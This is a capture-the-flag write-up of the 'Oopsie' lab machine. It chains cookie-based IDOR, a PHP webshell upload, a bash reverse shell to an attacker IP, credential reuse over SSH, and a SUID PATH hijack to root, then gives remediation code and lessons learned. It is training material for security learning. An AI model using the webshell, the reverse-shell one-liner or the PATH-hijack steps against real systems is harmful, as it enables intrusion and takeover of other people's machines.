TL;DR

Oopsie is a Linux box running an MegaCorp Automotive web portal. Authentication uses cookies without server-side sessions — change role=guest to role=admin and user to the super admin’s ID (found via IDOR in the Accounts section) and you have admin access. A PHP webshell upload → www-data shell. Credentials in a PHP config file give SSH as robert. A SUID binary (bugtracker) calls cat via system() without a full path — classic PATH hijack gives root.

Recon

1. Connectivity

$ ping -c 3 10.129.37.209
# TTL=63 (Linux, 1 hop) — machine is up

2. Port scan

$ nmap -Pn --top-ports 100 -T4 -sV 10.129.37.209

22/tcp open  OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  Apache httpd 2.4.29

Only SSH and HTTP. OS fingerprint: Ubuntu 18.04.

Network issue: Initial HTTP requests hung — VPN MTU fragmentation. Large PHP responses (>1200B) were silently dropped. Fix: tun-mtu 1200 + mssfix 1000 in OpenVPN config. After restart, everything worked.

3. Web reconnaissance

/                PHP login page (MegaCorp Automotive)
/cdn-cgi/login/  Login with Guest option
/uploads/        403 Forbidden
/css/            403 Forbidden

The HTML source of the login page contains a comment revealing the site’s internal URL structure and a hint about cookie-based auth.

Web Exploitation

4. Guest login and IDOR discovery

The login page at /cdn-cgi/login/ has a “Login as Guest” option — no credentials required:

$ curl -c cookies.txt "http://10.129.37.209/cdn-cgi/login/index.php?guest=true" -L
# Sets cookies: user=2233; role=guest

Browsing as guest exposes navigation items: Upload, Accounts, Branding. The Uploads section returns: “This action requires super admin rights.”

The Accounts section is accessible as guest and lists user records:

User IDUsernameAccess Level
1adminAdmin
34322super adminSuper Admin

The application trusts cookie values without server-side session verification. Modifying the cookie to the super admin’s ID grants full access:

$ curl -b "user=34322; role=admin" \
  "http://10.129.37.209/cdn-cgi/login/admin.php?content=uploads"
# Returns the upload form — no rejection

6. PHP webshell upload

The upload section accepts PHP files (no extension filtering):

<?php system($_GET['cmd']); ?>
$ curl -b "user=34322; role=admin" \
  -F "file=@shell.php" \
  "http://10.129.37.209/cdn-cgi/login/admin.php?content=upload&action=upload"
# → Upload successful

Uploaded files land at /uploads/:

$ curl "http://10.129.37.209/uploads/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

7. Reverse shell

# Attacker: nc -lvnp 4444
$ curl "http://10.129.37.209/uploads/shell.php" \
  --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.45/4444 0>&1'"

# Shell received:
www-data@oopsie:/var/www/html/uploads$

Lateral Movement — www-data → robert

8. Credentials in PHP config

www-data@oopsie:/var/www/html$ grep -r "password\|passwd\|db_pass" . 2>/dev/null
./cdn-cgi/login/db.php:$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');

Credentials found: robert:M3g4C0rpUs3r!

$ ssh robert@10.129.37.209
robert@oopsie:~$ cat user.txt
f2c74ee8db7983851ab2a96a44eb7981

Privilege Escalation — robert → root

9. SUID binary discovery

robert@oopsie:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/bugtracker
# (standard Linux SUID binaries omitted for clarity)

bugtracker is SUID root and not a standard system binary.

10. Binary analysis with strings

robert@oopsie:~$ strings /usr/bin/bugtracker
...
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 
---------------
cat /root/reports/
...

The binary calls cat without a full path: system("cat /root/reports/<input>"). Since the binary runs as root (SUID), any subprocess also inherits root privileges.

11. PATH hijack → root shell

robert@oopsie:~$ cd /tmp
robert@oopsie:/tmp$ printf '#!/bin/bash\n/bin/bash\n' > cat
robert@oopsie:/tmp$ chmod +x cat
robert@oopsie:/tmp$ export PATH=/tmp:$PATH
robert@oopsie:/tmp$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 1

root@oopsie:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1000(robert)
root@oopsie:/tmp# cat /root/root.txt
af13b0bee69f8a877c3faf667f7beacf

What’s actually broken

#VulnerabilitySeverityRoot Cause
1Cookie-based auth without server sessions (IDOR)High$_COOKIE['user'] trusted without validation
2Unrestricted PHP file uploadHighNo MIME type or extension validation
3Credentials hardcoded in PHP sourceMediumdb.php contains plaintext DB password
4SUID binary calling cat via relative PATHCriticalsystem("cat ...") — no absolute path
5Guest access exposes user ID enumerationMediumAccounts section accessible without real auth

Remediation

Fix cookie-based IDOR: Implement server-side sessions:

// Instead of: if ($_COOKIE['role'] == 'admin')
// Use:
session_start();
if (!isset($_SESSION['user_id']) || $_SESSION['role'] !== 'admin') {
    http_response_code(403);
    exit('Forbidden');
}

Restrict file uploads to safe types:

$allowed = ['image/png', 'image/jpeg', 'image/gif'];
if (!in_array($_FILES['file']['type'], $allowed)) {
    die('Only images allowed');
}
// Also validate by magic bytes, not just MIME header

Fix the SUID binary: Use absolute paths:

// Bad:
system("cat /root/reports/1");

// Good:
execl("/bin/cat", "cat", report_path, NULL);
// Or validate input and use absolute path:
execlp("/bin/cat", "/bin/cat", full_path, NULL);

Remove SUID from custom binaries unless strictly necessary:

# chmod u-s /usr/bin/bugtracker

Lessons learned

  • Cookie auth without sessions is always IDOR-vulnerable. If the server trusts client-supplied user=ID without a server-side token, the “auth” is trivially bypassable. Standard pattern: session token maps to user on the server, never trust client-side role data.
  • MTU fragmentation breaks HTTP invisibly. VPN tunnels often have lower MTU than the physical interface. TCP handshake succeeds (small packets) but HTTP bodies are silently dropped (large packets). The symptom is “GET requests hang forever.” Solution: tun-mtu 1200 in OpenVPN config.
  • SUID binaries that shell out are always exploitable. Any system(), popen(), or exec() call in a SUID binary that uses relative command names (cat, ls, python) is PATH-hijackable. The fix is always absolute paths.
  • grep the web app for credentials first. Before complex exploitation paths, grep -r password /var/www often finds DB credentials that unlock SSH or lateral movement.

Decision archaeology

ApproachResultPivot
Fixed MTU before enumerating furtherHTTP requests were hanging — can’t enumerate what you can’t loadCorrect; solved all subsequent web requests
Enumerated Accounts page before trying uploadNeeded super admin ID to escalate cookie privilegeCorrect order
Used cookie modification in curlSimpler than browser devtools for scripted testingWorked cleanly
Used PATH hijack instead of path traversalstrings showed relative cat call, not controllable pathCorrect; traversal was a red herring
Stayed as robert for privesc (not www-data)SSH as robert gave TTY; www-data shell was unstableBetter shell stability
Attempted path traversal in bugtracker report ID fieldInput: ../root.txtcat /root/reports/../root.txt executed but returned empty — path canonicalized, /root/root.txt exists but bugtracker ran as robert, not root yetRealized exploit was PATH hijack: create /tmp/cat script, export PATH=/tmp:$PATH, re-run bugtracker — binary is SUID root so /tmp/cat runs with UID 0

References